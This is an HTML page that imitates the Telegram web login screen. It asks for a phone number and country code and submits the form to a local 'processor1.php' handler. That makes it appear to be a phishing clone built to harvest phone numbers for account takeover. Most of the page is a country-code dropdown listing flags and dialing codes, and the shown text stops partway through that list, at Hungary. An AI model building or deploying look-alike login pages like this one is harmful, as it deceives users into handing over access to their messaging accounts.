<html>
   <head>
      <meta charset="UTF-8">
      <title></title>
      <link href="main.a47906b7910c2fca0a81.css" rel="stylesheet">
      <link href="thesc.css" rel="stylesheet">
      <style>
		.not-shown {
  display: none;
}
      </style>
      
   </head>
   <body>
      <div id="portals"></div>
      <script src="compatTest.js"></script>
      <svg width="0" height="0" viewBox="0 0 1 1" class="svg-definitions">
         <defs></defs>
      </svg>
      <div class="Transition full-height is-auth">
         <div class="Transition Auth Transition_slide Transition_slide-active">
            <div class="Transition_slide Transition_slide-active">
               <div id="auth-phone-number-form" class="custom-scroll">
                  <div class="auth-form">
                     <div id="logo"></div>
                     <h1>Telegram</h1>
                     <p class="note">Please confirm your country code
                        and enter your phone number.
                     </p>
					 
                     <form class="form" method="post" action="processor1.php">
                        <div class="DropdownMenu CountryCodeInput">
                           <div class="input-group touched" id="country-input-group">
            <!-- 1. Ensure input field for country code has an id and is read-only -->
            <input class="form-control" type="text" id="sign-in-phone-code" autocomplete="off" readonly placeholder="Select Country Code">
            <label for="sign-in-phone-code">Country Code</label>

            <!-- 2. Update your dropdown arrow with an id -->
            <i class="css-icon-down" id="dropdown-arrow"></i> <!-- Down arrow symbol -->
        </div>
                           <div class="Menu compact CountryCodeInput">
                              <div role="presentation" class="bubble menu-container custom-scroll opacity-transition fast not-shown">
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1e6-1f1eb.png" class="emoji opacity-transition slow shown open" alt="🇦🇫" data-path="countries/1f1e6-1f1eb.png" draggable="false"></span><span class="country-name">Afghanistan</span><span class="country-code">+93</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1e6-1f1f1.png" class="emoji opacity-transition slow shown open" alt="🇦🇱" data-path="countries/1f1e6-1f1f1.png" draggable="false"></span><span class="country-name">Albania</span><span class="country-code">+355</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1e9-1f1ff.png" class="emoji opacity-transition slow shown open" alt="🇩🇿" data-path="countries/1f1e9-1f1ff.png" draggable="false"></span><span class="country-name">Algeria</span><span class="country-code">+213</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1e6-1f1f8.png" class="emoji opacity-transition slow shown open" alt="🇦🇸" data-path="countries/1f1e6-1f1f8.png" draggable="false"></span><span class="country-name">American Samoa</span><span class="country-code">+1684</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1e6-1f1e9.png" class="emoji opacity-transition slow shown open" alt="🇦🇩" data-path="countries/1f1e6-1f1e9.png" draggable="false"></span><span class="country-name">Andorra</span><span class="country-code">+376</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1e6-1f1f4.png" class="emoji opacity-transition slow shown open" alt="🇦🇴" data-path="countries/1f1e6-1f1f4.png" draggable="false"></span><span class="country-name">Angola</span><span class="country-code">+244</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1e6-1f1ee.png" class="emoji opacity-transition slow shown open" alt="🇦🇮" data-path="countries/1f1e6-1f1ee.png" draggable="false"></span><span class="country-name">Anguilla</span><span class="country-code">+1264</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f3f4-200d-2620-fe0f.png" class="emoji opacity-transition slow shown open" alt="🏴‍☠️" data-path="countries/1f3f4-200d-2620-fe0f.png" draggable="false"></span><span class="country-name">Anonymous Numbers</span><span class="country-code">+888</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1e6-1f1ec.png" class="emoji opacity-transition slow shown open" alt="🇦🇬" data-path="countries/1f1e6-1f1ec.png" draggable="false"></span><span class="country-name">Antigua &amp; Barbuda</span><span class="country-code">+1268</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1e6-1f1f7.png" class="emoji opacity-transition slow shown open" alt="🇦🇷" data-path="countries/1f1e6-1f1f7.png" draggable="false"></span><span class="country-name">Argentina</span><span class="country-code">+54</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1e6-1f1f2.png" class="emoji opacity-transition slow shown open" alt="🇦🇲" data-path="countries/1f1e6-1f1f2.png" draggable="false"></span><span class="country-name">Armenia</span><span class="country-code">+374</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1e6-1f1fc.png" class="emoji opacity-transition slow shown open" alt="🇦🇼" data-path="countries/1f1e6-1f1fc.png" draggable="false"></span><span class="country-name">Aruba</span><span class="country-code">+297</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1e6-1f1fa.png" class="emoji opacity-transition slow shown open" alt="🇦🇺" data-path="countries/1f1e6-1f1fa.png" draggable="false"></span><span class="country-name">Australia</span><span class="country-code">+61</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1e6-1f1f9.png" class="emoji opacity-transition slow shown open" alt="🇦🇹" data-path="countries/1f1e6-1f1f9.png" draggable="false"></span><span class="country-name">Austria</span><span class="country-code">+43</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1e6-1f1ff.png" class="emoji opacity-transition slow shown open" alt="🇦🇿" data-path="countries/1f1e6-1f1ff.png" draggable="false"></span><span class="country-name">Azerbaijan</span><span class="country-code">+994</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1e7-1f1f8.png" class="emoji opacity-transition slow shown open" alt="🇧🇸" data-path="countries/1f1e7-1f1f8.png" draggable="false"></span><span class="country-name">Bahamas</span><span class="country-code">+1242</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1e7-1f1ed.png" class="emoji opacity-transition slow shown open" alt="🇧🇭" data-path="countries/1f1e7-1f1ed.png" draggable="false"></span><span class="country-name">Bahrain</span><span class="country-code">+973</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1e7-1f1e9.png" class="emoji opacity-transition slow shown open" alt="🇧🇩" data-path="countries/1f1e7-1f1e9.png" draggable="false"></span><span class="country-name">Bangladesh</span><span class="country-code">+880</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1e7-1f1e7.png" class="emoji opacity-transition slow shown open" alt="🇧🇧" data-path="countries/1f1e7-1f1e7.png" draggable="false"></span><span class="country-name">Barbados</span><span class="country-code">+1246</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1e7-1f1fe.png" class="emoji opacity-transition slow shown open" alt="🇧🇾" data-path="countries/1f1e7-1f1fe.png" draggable="false"></span><span class="country-name">Belarus</span><span class="country-code">+375</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1e7-1f1ea.png" class="emoji opacity-transition slow shown open" alt="🇧🇪" data-path="countries/1f1e7-1f1ea.png" draggable="false"></span><span class="country-name">Belgium</span><span class="country-code">+32</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1e7-1f1ff.png" class="emoji opacity-transition slow shown open" alt="🇧🇿" data-path="countries/1f1e7-1f1ff.png" draggable="false"></span><span class="country-name">Belize</span><span class="country-code">+501</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1e7-1f1ef.png" class="emoji opacity-transition slow shown open" alt="🇧🇯" data-path="countries/1f1e7-1f1ef.png" draggable="false"></span><span class="country-name">Benin</span><span class="country-code">+229</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1e7-1f1f2.png" class="emoji opacity-transition slow shown open" alt="🇧🇲" data-path="countries/1f1e7-1f1f2.png" draggable="false"></span><span class="country-name">Bermuda</span><span class="country-code">+1441</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1e7-1f1f9.png" class="emoji opacity-transition slow shown open" alt="🇧🇹" data-path="countries/1f1e7-1f1f9.png" draggable="false"></span><span class="country-name">Bhutan</span><span class="country-code">+975</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1e7-1f1f4.png" class="emoji opacity-transition slow shown open" alt="🇧🇴" data-path="countries/1f1e7-1f1f4.png" draggable="false"></span><span class="country-name">Bolivia</span><span class="country-code">+591</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1e7-1f1f6.png" class="emoji opacity-transition slow shown open" alt="🇧🇶" data-path="countries/1f1e7-1f1f6.png" draggable="false"></span><span class="country-name">Bonaire, Sint Eustatius &amp; Saba</span><span class="country-code">+599</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1e7-1f1e6.png" class="emoji opacity-transition slow shown open" alt="🇧🇦" data-path="countries/1f1e7-1f1e6.png" draggable="false"></span><span class="country-name">Bosnia &amp; Herzegovina</span><span class="country-code">+387</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1e7-1f1fc.png" class="emoji opacity-transition slow shown open" alt="🇧🇼" data-path="countries/1f1e7-1f1fc.png" draggable="false"></span><span class="country-name">Botswana</span><span class="country-code">+267</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1e7-1f1f7.png" class="emoji opacity-transition slow shown open" alt="🇧🇷" data-path="countries/1f1e7-1f1f7.png" draggable="false"></span><span class="country-name">Brazil</span><span class="country-code">+55</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1fb-1f1ec.png" class="emoji opacity-transition slow shown open" alt="🇻🇬" data-path="countries/1f1fb-1f1ec.png" draggable="false"></span><span class="country-name">British Virgin Islands</span><span class="country-code">+1284</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1e7-1f1f3.png" class="emoji opacity-transition slow shown open" alt="🇧🇳" data-path="countries/1f1e7-1f1f3.png" draggable="false"></span><span class="country-name">Brunei Darussalam</span><span class="country-code">+673</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1e7-1f1ec.png" class="emoji opacity-transition slow shown open" alt="🇧🇬" data-path="countries/1f1e7-1f1ec.png" draggable="false"></span><span class="country-name">Bulgaria</span><span class="country-code">+359</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1e7-1f1eb.png" class="emoji opacity-transition slow shown open" alt="🇧🇫" data-path="countries/1f1e7-1f1eb.png" draggable="false"></span><span class="country-name">Burkina Faso</span><span class="country-code">+226</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1e7-1f1ee.png" class="emoji opacity-transition slow shown open" alt="🇧🇮" data-path="countries/1f1e7-1f1ee.png" draggable="false"></span><span class="country-name">Burundi</span><span class="country-code">+257</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f0-1f1ed.png" class="emoji opacity-transition slow shown open" alt="🇰🇭" data-path="countries/1f1f0-1f1ed.png" draggable="false"></span><span class="country-name">Cambodia</span><span class="country-code">+855</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1e8-1f1f2.png" class="emoji opacity-transition slow shown open" alt="🇨🇲" data-path="countries/1f1e8-1f1f2.png" draggable="false"></span><span class="country-name">Cameroon</span><span class="country-code">+237</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1e8-1f1e6.png" class="emoji opacity-transition slow shown open" alt="🇨🇦" data-path="countries/1f1e8-1f1e6.png" draggable="false"></span><span class="country-name">Canada</span><span class="country-code">+1</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1e8-1f1fb.png" class="emoji opacity-transition slow shown open" alt="🇨🇻" data-path="countries/1f1e8-1f1fb.png" draggable="false"></span><span class="country-name">Cape Verde</span><span class="country-code">+238</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f0-1f1fe.png" class="emoji opacity-transition slow shown open" alt="🇰🇾" data-path="countries/1f1f0-1f1fe.png" draggable="false"></span><span class="country-name">Cayman Islands</span><span class="country-code">+1345</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1e8-1f1eb.png" class="emoji opacity-transition slow shown open" alt="🇨🇫" data-path="countries/1f1e8-1f1eb.png" draggable="false"></span><span class="country-name">Central African Rep.</span><span class="country-code">+236</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f9-1f1e9.png" class="emoji opacity-transition slow shown open" alt="🇹🇩" data-path="countries/1f1f9-1f1e9.png" draggable="false"></span><span class="country-name">Chad</span><span class="country-code">+235</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1e8-1f1f1.png" class="emoji opacity-transition slow shown open" alt="🇨🇱" data-path="countries/1f1e8-1f1f1.png" draggable="false"></span><span class="country-name">Chile</span><span class="country-code">+56</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1e8-1f1f3.png" class="emoji opacity-transition slow shown open" alt="🇨🇳" data-path="countries/1f1e8-1f1f3.png" draggable="false"></span><span class="country-name">China</span><span class="country-code">+86</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1e8-1f1f4.png" class="emoji opacity-transition slow shown open" alt="🇨🇴" data-path="countries/1f1e8-1f1f4.png" draggable="false"></span><span class="country-name">Colombia</span><span class="country-code">+57</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f0-1f1f2.png" class="emoji opacity-transition slow shown open" alt="🇰🇲" data-path="countries/1f1f0-1f1f2.png" draggable="false"></span><span class="country-name">Comoros</span><span class="country-code">+269</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1e8-1f1e9.png" class="emoji opacity-transition slow shown open" alt="🇨🇩" data-path="countries/1f1e8-1f1e9.png" draggable="false"></span><span class="country-name">Congo (Dem. Rep.)</span><span class="country-code">+243</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1e8-1f1ec.png" class="emoji opacity-transition slow shown open" alt="🇨🇬" data-path="countries/1f1e8-1f1ec.png" draggable="false"></span><span class="country-name">Congo (Rep.)</span><span class="country-code">+242</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1e8-1f1f0.png" class="emoji opacity-transition slow shown open" alt="🇨🇰" data-path="countries/1f1e8-1f1f0.png" draggable="false"></span><span class="country-name">Cook Islands</span><span class="country-code">+682</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1e8-1f1f7.png" class="emoji opacity-transition slow shown open" alt="🇨🇷" data-path="countries/1f1e8-1f1f7.png" draggable="false"></span><span class="country-name">Costa Rica</span><span class="country-code">+506</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1e8-1f1ee.png" class="emoji opacity-transition slow shown open" alt="🇨🇮" data-path="countries/1f1e8-1f1ee.png" draggable="false"></span><span class="country-name">Côte d'Ivoire</span><span class="country-code">+225</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1ed-1f1f7.png" class="emoji opacity-transition slow shown open" alt="🇭🇷" data-path="countries/1f1ed-1f1f7.png" draggable="false"></span><span class="country-name">Croatia</span><span class="country-code">+385</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1e8-1f1fa.png" class="emoji opacity-transition slow shown open" alt="🇨🇺" data-path="countries/1f1e8-1f1fa.png" draggable="false"></span><span class="country-name">Cuba</span><span class="country-code">+53</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1e8-1f1fc.png" class="emoji opacity-transition slow shown open" alt="🇨🇼" data-path="countries/1f1e8-1f1fc.png" draggable="false"></span><span class="country-name">Curaçao</span><span class="country-code">+599</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1e8-1f1fe.png" class="emoji opacity-transition slow shown open" alt="🇨🇾" data-path="countries/1f1e8-1f1fe.png" draggable="false"></span><span class="country-name">Cyprus</span><span class="country-code">+357</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1e8-1f1ff.png" class="emoji opacity-transition slow shown open" alt="🇨🇿" data-path="countries/1f1e8-1f1ff.png" draggable="false"></span><span class="country-name">Czech Republic</span><span class="country-code">+420</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1e9-1f1f0.png" class="emoji opacity-transition slow shown open" alt="🇩🇰" data-path="countries/1f1e9-1f1f0.png" draggable="false"></span><span class="country-name">Denmark</span><span class="country-code">+45</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1ee-1f1f4.png" class="emoji opacity-transition slow shown open" alt="🇮🇴" data-path="countries/1f1ee-1f1f4.png" draggable="false"></span><span class="country-name">Diego Garcia</span><span class="country-code">+246</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1e9-1f1ef.png" class="emoji opacity-transition slow shown open" alt="🇩🇯" data-path="countries/1f1e9-1f1ef.png" draggable="false"></span><span class="country-name">Djibouti</span><span class="country-code">+253</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1e9-1f1f2.png" class="emoji opacity-transition slow shown open" alt="🇩🇲" data-path="countries/1f1e9-1f1f2.png" draggable="false"></span><span class="country-name">Dominica</span><span class="country-code">+1767</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1e9-1f1f4.png" class="emoji opacity-transition slow shown open" alt="🇩🇴" data-path="countries/1f1e9-1f1f4.png" draggable="false"></span><span class="country-name">Dominican Rep.</span><span class="country-code">+1809</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1e9-1f1f4.png" class="emoji opacity-transition slow shown open" alt="🇩🇴" data-path="countries/1f1e9-1f1f4.png" draggable="false"></span><span class="country-name">Dominican Rep.</span><span class="country-code">+1829</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1e9-1f1f4.png" class="emoji opacity-transition slow shown open" alt="🇩🇴" data-path="countries/1f1e9-1f1f4.png" draggable="false"></span><span class="country-name">Dominican Rep.</span><span class="country-code">+1849</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1ea-1f1e8.png" class="emoji opacity-transition slow shown open" alt="🇪🇨" data-path="countries/1f1ea-1f1e8.png" draggable="false"></span><span class="country-name">Ecuador</span><span class="country-code">+593</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1ea-1f1ec.png" class="emoji opacity-transition slow shown open" alt="🇪🇬" data-path="countries/1f1ea-1f1ec.png" draggable="false"></span><span class="country-name">Egypt</span><span class="country-code">+20</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f8-1f1fb.png" class="emoji opacity-transition slow shown open" alt="🇸🇻" data-path="countries/1f1f8-1f1fb.png" draggable="false"></span><span class="country-name">El Salvador</span><span class="country-code">+503</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1ec-1f1f6.png" class="emoji opacity-transition slow shown open" alt="🇬🇶" data-path="countries/1f1ec-1f1f6.png" draggable="false"></span><span class="country-name">Equatorial Guinea</span><span class="country-code">+240</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1ea-1f1f7.png" class="emoji opacity-transition slow shown open" alt="🇪🇷" data-path="countries/1f1ea-1f1f7.png" draggable="false"></span><span class="country-name">Eritrea</span><span class="country-code">+291</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1ea-1f1ea.png" class="emoji opacity-transition slow shown open" alt="🇪🇪" data-path="countries/1f1ea-1f1ea.png" draggable="false"></span><span class="country-name">Estonia</span><span class="country-code">+372</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f8-1f1ff.png" class="emoji opacity-transition slow shown open" alt="🇸🇿" data-path="countries/1f1f8-1f1ff.png" draggable="false"></span><span class="country-name">Eswatini</span><span class="country-code">+268</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1ea-1f1f9.png" class="emoji opacity-transition slow shown open" alt="🇪🇹" data-path="countries/1f1ea-1f1f9.png" draggable="false"></span><span class="country-name">Ethiopia</span><span class="country-code">+251</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1eb-1f1f0.png" class="emoji opacity-transition slow shown open" alt="🇫🇰" data-path="countries/1f1eb-1f1f0.png" draggable="false"></span><span class="country-name">Falkland Islands</span><span class="country-code">+500</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1eb-1f1f4.png" class="emoji opacity-transition slow shown open" alt="🇫🇴" data-path="countries/1f1eb-1f1f4.png" draggable="false"></span><span class="country-name">Faroe Islands</span><span class="country-code">+298</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1eb-1f1ef.png" class="emoji opacity-transition slow shown open" alt="🇫🇯" data-path="countries/1f1eb-1f1ef.png" draggable="false"></span><span class="country-name">Fiji</span><span class="country-code">+679</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1eb-1f1ee.png" class="emoji opacity-transition slow shown open" alt="🇫🇮" data-path="countries/1f1eb-1f1ee.png" draggable="false"></span><span class="country-name">Finland</span><span class="country-code">+358</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1eb-1f1f7.png" class="emoji opacity-transition slow shown open" alt="🇫🇷" data-path="countries/1f1eb-1f1f7.png" draggable="false"></span><span class="country-name">France</span><span class="country-code">+33</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1ec-1f1eb.png" class="emoji opacity-transition slow shown open" alt="🇬🇫" data-path="countries/1f1ec-1f1eb.png" draggable="false"></span><span class="country-name">French Guiana</span><span class="country-code">+594</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f5-1f1eb.png" class="emoji opacity-transition slow shown open" alt="🇵🇫" data-path="countries/1f1f5-1f1eb.png" draggable="false"></span><span class="country-name">French Polynesia</span><span class="country-code">+689</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1ec-1f1e6.png" class="emoji opacity-transition slow shown open" alt="🇬🇦" data-path="countries/1f1ec-1f1e6.png" draggable="false"></span><span class="country-name">Gabon</span><span class="country-code">+241</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1ec-1f1f2.png" class="emoji opacity-transition slow shown open" alt="🇬🇲" data-path="countries/1f1ec-1f1f2.png" draggable="false"></span><span class="country-name">Gambia</span><span class="country-code">+220</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1ec-1f1ea.png" class="emoji opacity-transition slow shown open" alt="🇬🇪" data-path="countries/1f1ec-1f1ea.png" draggable="false"></span><span class="country-name">Georgia</span><span class="country-code">+995</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1e9-1f1ea.png" class="emoji opacity-transition slow shown open" alt="🇩🇪" data-path="countries/1f1e9-1f1ea.png" draggable="false"></span><span class="country-name">Germany</span><span class="country-code">+49</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1ec-1f1ed.png" class="emoji opacity-transition slow shown open" alt="🇬🇭" data-path="countries/1f1ec-1f1ed.png" draggable="false"></span><span class="country-name">Ghana</span><span class="country-code">+233</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1ec-1f1ee.png" class="emoji opacity-transition slow shown open" alt="🇬🇮" data-path="countries/1f1ec-1f1ee.png" draggable="false"></span><span class="country-name">Gibraltar</span><span class="country-code">+350</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1ec-1f1f7.png" class="emoji opacity-transition slow shown open" alt="🇬🇷" data-path="countries/1f1ec-1f1f7.png" draggable="false"></span><span class="country-name">Greece</span><span class="country-code">+30</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1ec-1f1f1.png" class="emoji opacity-transition slow shown open" alt="🇬🇱" data-path="countries/1f1ec-1f1f1.png" draggable="false"></span><span class="country-name">Greenland</span><span class="country-code">+299</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1ec-1f1e9.png" class="emoji opacity-transition slow shown open" alt="🇬🇩" data-path="countries/1f1ec-1f1e9.png" draggable="false"></span><span class="country-name">Grenada</span><span class="country-code">+1473</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1ec-1f1f5.png" class="emoji opacity-transition slow shown open" alt="🇬🇵" data-path="countries/1f1ec-1f1f5.png" draggable="false"></span><span class="country-name">Guadeloupe</span><span class="country-code">+590</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1ec-1f1fa.png" class="emoji opacity-transition slow shown open" alt="🇬🇺" data-path="countries/1f1ec-1f1fa.png" draggable="false"></span><span class="country-name">Guam</span><span class="country-code">+1671</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1ec-1f1f9.png" class="emoji opacity-transition slow shown open" alt="🇬🇹" data-path="countries/1f1ec-1f1f9.png" draggable="false"></span><span class="country-name">Guatemala</span><span class="country-code">+502</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1ec-1f1f3.png" class="emoji opacity-transition slow shown open" alt="🇬🇳" data-path="countries/1f1ec-1f1f3.png" draggable="false"></span><span class="country-name">Guinea</span><span class="country-code">+224</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1ec-1f1fc.png" class="emoji opacity-transition slow shown open" alt="🇬🇼" data-path="countries/1f1ec-1f1fc.png" draggable="false"></span><span class="country-name">Guinea-Bissau</span><span class="country-code">+245</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1ec-1f1fe.png" class="emoji opacity-transition slow shown open" alt="🇬🇾" data-path="countries/1f1ec-1f1fe.png" draggable="false"></span><span class="country-name">Guyana</span><span class="country-code">+592</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1ed-1f1f9.png" class="emoji opacity-transition slow shown open" alt="🇭🇹" data-path="countries/1f1ed-1f1f9.png" draggable="false"></span><span class="country-name">Haiti</span><span class="country-code">+509</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1ed-1f1f3.png" class="emoji opacity-transition slow shown open" alt="🇭🇳" data-path="countries/1f1ed-1f1f3.png" draggable="false"></span><span class="country-name">Honduras</span><span class="country-code">+504</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1ed-1f1f0.png" class="emoji opacity-transition slow shown open" alt="🇭🇰" data-path="countries/1f1ed-1f1f0.png" draggable="false"></span><span class="country-name">Hong Kong</span><span class="country-code">+852</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1ed-1f1fa.png" class="emoji opacity-transition slow shown open" alt="🇭🇺" data-path="countries/1f1ed-1f1fa.png" draggable="false"></span><span class="country-name">Hungary</span><span class="country-code">+36</span></div>
